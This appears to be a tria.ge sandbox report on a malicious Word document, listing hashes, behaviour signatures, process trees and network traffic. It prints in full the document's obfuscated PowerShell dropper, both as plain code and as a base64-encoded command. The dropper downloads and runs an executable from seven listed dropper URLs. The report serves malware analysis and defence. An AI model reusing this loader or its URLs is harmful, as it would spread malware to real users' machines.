Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
-
submitted
08/05/2024, 20:05 UTC
General
-
Target
268104ac7fd244e33b0d072e3aaf8c7f_JaffaCakes118.doc
-
Size
194KB
-
MD5
268104ac7fd244e33b0d072e3aaf8c7f
-
SHA1
165cb836f16b05ebb35ff609e09721a9df871427
-
SHA256
b91795826d1ceca51e57aeb1aa43ac0960c1aed23a0a8ea2949528f7a5938598
-
SHA512
795ebe5b1ee0df803b4dfe356d51a8c1a571133f917e2864e4accb71dadcbaa0ee8e79dafb4fdf0c2bd980b6c3115bccf2e6ff5cc3d96fbcaf5ab7a4c51e4934
-
SSDEEP
1536:DGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xilqfqdFTaFVT/EA8s9p8cjMfmVS9:+rfrzOH98ipgAd58cxs
Score
10/10
Malware Config
Extracted
Language
ps1
Source
1
$Mqvb5er=(('O'+'qrd_')+'1'+'v');.('new-it'+'e'+'m') $EnV:uSERprofiLE\FY6iR_w\bD8J_41\ -itemtype DirecTORY;[Net.ServicePointManager]::"SEcUrItYpRO`ToC`Ol" = (('tl'+'s12'+',')+' t'+'l'+('s1'+'1, ')+('t'+'ls'));$Cdnkjwa = (('E0'+'c6v')+'gg');$Ap3w899=(('J'+'14')+'4b'+'0y');$Gxj515h=$env:userprofile+(('{0}F'+'y'+'6i'+'r_w{0}B'+('d8j_4'+'1')+'{0}') -f[char]92)+$Cdnkjwa+('.e'+'xe');$Eoybts6=(('N'+'rda17')+'c');$C7e4yd9=&('new-'+'ob'+'ject') NEt.WebcLienT;$G2nvhm_=(('h'+'tt')+'p'+(':/'+'/bo')+'ys'+('86.co'+'m/')+('w'+'p-a')+('d'+'mi'+'n/m')+('O/*'+'h')+'t'+('tp://'+'dac'+'y'+'c'+'lin.com/3'+'qx'+'/')+'Z'+'/'+('*'+'ht')+('t'+'ps')+':'+('//fe'+'p')+('a'+'mi.c')+'o'+('m/'+'wp-')+('inclu'+'d')+('es/oRT/'+'*h'+'t'+'tps')+(':'+'//')+'xn'+('x'+'xf')+'u'+('l'+'lh')+('d'+'.c')+('om'+'/wp')+('-a'+'d')+('m'+'in/')+('N'+'A'+'K/*https')+':/'+'/'+'ww'+'w.'+('b'+'usi')+'n'+('ess'+'-')+('m'+'an'+'agement-d'+'eg')+('r'+'ee')+('.'+'ne')+('t/w'+'p-')+('sn'+'a')+('p'+'shots/W'+'/*h')+('t'+'tp')+':/'+('/'+'homestay'+'.'+'d')+'es'+'i'+'g'+'n'+'/'+'w'+('ord'+'p'+'ress/M')+('/*'+'ht')+('tp'+'s')+':/'+('/c'+'s')+('c-co'+'mun'+'i'+'ty.')+('com/w'+'p')+'-'+('admi'+'n/')+'6'+('D'+'W/'))."Sp`LIT"([char]42);$Gmapn7t=('N'+('f2k84'+'p'));foreach($Bgrksqo in $G2nvhm_){try{$C7e4yd9."do`Wn`LOAdFI`LE"($Bgrksqo, $Gxj515h);$H0ygsf1=(('O'+'pdq')+('68'+'v'));If ((&('Get'+'-It'+'em') $Gxj515h)."l`engTH" -ge 29527) {&('Invok'+'e-I'+'tem')($Gxj515h);$Ntz0j1l=(('B'+'tn')+('2vq'+'2'));break;$X12i74e=(('M60'+'4c')+'3'+'w')}}catch{}}$Gxoj1ib=(('Jl'+'q')+('wm'+'3_'))
URLs
exe.dropper
http://boys86.com/wp-admin/mO/
exe.dropper
http://dacyclin.com/3qx/Z/
exe.dropper
https://fepami.com/wp-includes/oRT/
exe.dropper
https://xnxxfullhd.com/wp-admin/NAK/
exe.dropper
https://www.business-management-degree.net/wp-snapshots/W/
exe.dropper
http://homestay.design/wordpress/M/
exe.dropper
https://csc-comunity.com/wp-admin/6DW/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 5 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies Internet Explorer settings 1 TTPs 31 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\268104ac7fd244e33b0d072e3aaf8c7f_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABNAHEAdgBiADUAZQByAD0AKAAoACcATwAnACsAJwBxAHIAZABfACcAKQArACcAMQAnACsAJwB2ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAUgBwAHIAbwBmAGkATABFAFwARgBZADYAaQBSAF8AdwBcAGIARAA4AEoAXwA0ADEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBJAHQAWQBwAFIATwBgAFQAbwBDAGAATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKwAnACwAJwApACsAJwAgAHQAJwArACcAbAAnACsAKAAnAHMAMQAnACsAJwAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEMAZABuAGsAagB3AGEAIAA9ACAAKAAoACcARQAwACcAKwAnAGMANgB2ACcAKQArACcAZwBnACcAKQA7ACQAQQBwADMAdwA4ADkAOQA9ACgAKAAnAEoAJwArACcAMQA0ACcAKQArACcANABiACcAKwAnADAAeQAnACkAOwAkAEcAeABqADUAMQA1AGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ARgAnACsAJwB5ACcAKwAnADYAaQAnACsAJwByAF8AdwB7ADAAfQBCACcAKwAoACcAZAA4AGoAXwA0ACcAKwAnADEAJwApACsAJwB7ADAAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAEMAZABuAGsAagB3AGEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEUAbwB5AGIAdABzADYAPQAoACgAJwBOACcAKwAnAHIAZABhADEANwAnACkAKwAnAGMAJwApADsAJABDADcAZQA0AHkAZAA5AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcAZQBiAGMATABpAGUAbgBUADsAJABHADIAbgB2AGgAbQBfAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAOgAvACcAKwAnAC8AYgBvACcAKQArACcAeQBzACcAKwAoACcAOAA2AC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAJwArACcAbgAvAG0AJwApACsAKAAnAE8ALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAoACcAdABwADoALwAvACcAKwAnAGQAYQBjACcAKwAnAHkAJwArACcAYwAnACsAJwBsAGkAbgAuAGMAbwBtAC8AMwAnACsAJwBxAHgAJwArACcALwAnACkAKwAnAFoAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwAnACkAKwAnADoAJwArACgAJwAvAC8AZgBlACcAKwAnAHAAJwApACsAKAAnAGEAJwArACcAbQBpAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGkAbgBjAGwAdQAnACsAJwBkACcAKQArACgAJwBlAHMALwBvAFIAVAAvACcAKwAnACoAaAAnACsAJwB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHgAbgAnACsAKAAnAHgAJwArACcAeABmACcAKQArACcAdQAnACsAKAAnAGwAJwArACcAbABoACcAKQArACgAJwBkACcAKwAnAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwACcAKQArACgAJwAtAGEAJwArACcAZAAnACkAKwAoACcAbQAnACsAJwBpAG4ALwAnACkAKwAoACcATgAnACsAJwBBACcAKwAnAEsALwAqAGgAdAB0AHAAcwAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AJwArACgAJwBiACcAKwAnAHUAcwBpACcAKQArACcAbgAnACsAKAAnAGUAcwBzACcAKwAnAC0AJwApACsAKAAnAG0AJwArACcAYQBuACcAKwAnAGEAZwBlAG0AZQBuAHQALQBkACcAKwAnAGUAZwAnACkAKwAoACcAcgAnACsAJwBlAGUAJwApACsAKAAnAC4AJwArACcAbgBlACcAKQArACgAJwB0AC8AdwAnACsAJwBwAC0AJwApACsAKAAnAHMAbgAnACsAJwBhACcAKQArACgAJwBwACcAKwAnAHMAaABvAHQAcwAvAFcAJwArACcALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBoAG8AbQBlAHMAdABhAHkAJwArACcALgAnACsAJwBkACcAKQArACcAZQBzACcAKwAnAGkAJwArACcAZwAnACsAJwBuACcAKwAnAC8AJwArACcAdwAnACsAKAAnAG8AcgBkACcAKwAnAHAAJwArACcAcgBlAHMAcwAvAE0AJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBjACcAKwAnAHMAJwApACsAKAAnAGMALQBjAG8AJwArACcAbQB1AG4AJwArACcAaQAnACsAJwB0AHkALgAnACkAKwAoACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAJwAtACcAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwApACsAJwA2ACcAKwAoACcARAAnACsAJwBXAC8AJwApACkALgAiAFMAcABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBtAGEAcABuADcAdAA9ACgAJwBOACcAKwAoACcAZgAyAGsAOAA0ACcAKwAnAHAAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAGcAcgBrAHMAcQBvACAAaQBuACAAJABHADIAbgB2AGgAbQBfACkAewB0AHIAeQB7ACQAQwA3AGUANAB5AGQAOQAuACIAZABvAGAAVwBuAGAATABPAEEAZABGAEkAYABMAEUAIgAoACQAQgBnAHIAawBzAHEAbwAsACAAJABHAHgAagA1ADEANQBoACkAOwAkAEgAMAB5AGcAcwBmADEAPQAoACgAJwBPACcAKwAnAHAAZABxACcAKQArACgAJwA2ADgAJwArACcAdgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABHAHgAagA1ADEANQBoACkALgAiAGwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAAMgA5ADUAMgA3ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEcAeABqADUAMQA1AGgAKQA7ACQATgB0AHoAMABqADEAbAA9ACgAKAAnAEIAJwArACcAdABuACcAKQArACgAJwAyAHYAcQAnACsAJwAyACcAKQApADsAYgByAGUAYQBrADsAJABYADEAMgBpADcANABlAD0AKAAoACcATQA2ADAAJwArACcANABjACcAKQArACcAMwAnACsAJwB3ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwB4AG8AagAxAGkAYgA9ACgAKAAnAEoAbAAnACsAJwBxACcAKQArACgAJwB3AG0AJwArACcAMwBfACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
-
DNSboys86.comRemote address:8.8.8.8:53Requestboys86.comIN AResponse -
DNSdacyclin.comRemote address:8.8.8.8:53Requestdacyclin.comIN AResponse
-
DNSfepami.comRemote address:8.8.8.8:53Requestfepami.comIN AResponsefepami.comIN A31.24.155.239
-
DNSxnxxfullhd.comRemote address:8.8.8.8:53Requestxnxxfullhd.comIN AResponsexnxxfullhd.comIN A188.114.97.2xnxxfullhd.comIN A188.114.96.2
-
GEThttps://xnxxfullhd.com/wp-admin/NAK/Remote address:188.114.97.2:443RequestGET /wp-admin/NAK/ HTTP/1.1
Host: xnxxfullhd.com
Connection: Keep-Alive
ResponseHTTP/1.1 404 Not Found
Date: Wed, 08 May 2024 20:05:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
link: <https://xnxxfullhd.com/wp-json/>; rel="https://api.w.org/"
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dHb2ft92eu0Y0f0Q%2F9dd8jHXPOZOo6QCUSZIFAp2FulkVUYqy9FP%2FnHwCBYsoQh19JiALgjL6emmnhJrZyAcGA%2B9%2B5Q5qlhYOBfcApxj%2BZJLUesKoRcj3iStNY%2Bc3mlMBQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 880c10ce68796519-LHR
alt-svc: h3=":443"; ma=86400
-
DNSwww.business-management-degree.netRemote address:8.8.8.8:53Requestwww.business-management-degree.netIN AResponsewww.business-management-degree.netIN CNAMEbusiness-management-degree.netbusiness-management-degree.netIN A178.128.184.106
-
DNShomestay.designRemote address:8.8.8.8:53Requesthomestay.designIN AResponse
-
DNScsc-comunity.comRemote address:8.8.8.8:53Requestcsc-comunity.comIN AResponse
-
31.24.155.239:443fepami.comtls -
31.24.155.239:443fepami.comtls
-
188.114.97.2:443https://xnxxfullhd.com/wp-admin/NAK/tls, http
HTTP Request
GET https://xnxxfullhd.com/wp-admin/NAK/HTTP Response
404 -
178.128.184.106:443www.business-management-degree.nettls
-
178.128.184.106:443www.business-management-degree.nettls
-
8.8.8.8:53boys86.comdns
DNS Request
boys86.com
-
8.8.8.8:53dacyclin.comdns
DNS Request
dacyclin.com
-
8.8.8.8:53fepami.comdns
DNS Request
fepami.com
DNS Response
31.24.155.239
-
8.8.8.8:53xnxxfullhd.comdns
DNS Request
xnxxfullhd.com
DNS Response
188.114.97.2188.114.96.2
-
8.8.8.8:53www.business-management-degree.netdns
DNS Request
www.business-management-degree.net
DNS Response
178.128.184.106
-
8.8.8.8:53homestay.designdns
DNS Request
homestay.design
-
8.8.8.8:53csc-comunity.comdns
DNS Request
csc-comunity.com
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD54b89f0e5de8b628a7b3a63b4ecbcefda
SHA1e1dbb22623f50cd257ddf4f7edbe4ac68876d13d
SHA256ab2a0418dd5260b553766e1395e409ad296a706d44220e890a329a2941291f6f
SHA51221b1928efe9f17f9ae35f2093a78ae9ded5a7f442f753acd02c40fb00822d0ba23d7c1aa5d5ded0fff44525f7c7e7f18cf8809badc70a254304de25dde9875e2
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.9MB
-
Filesize
32KB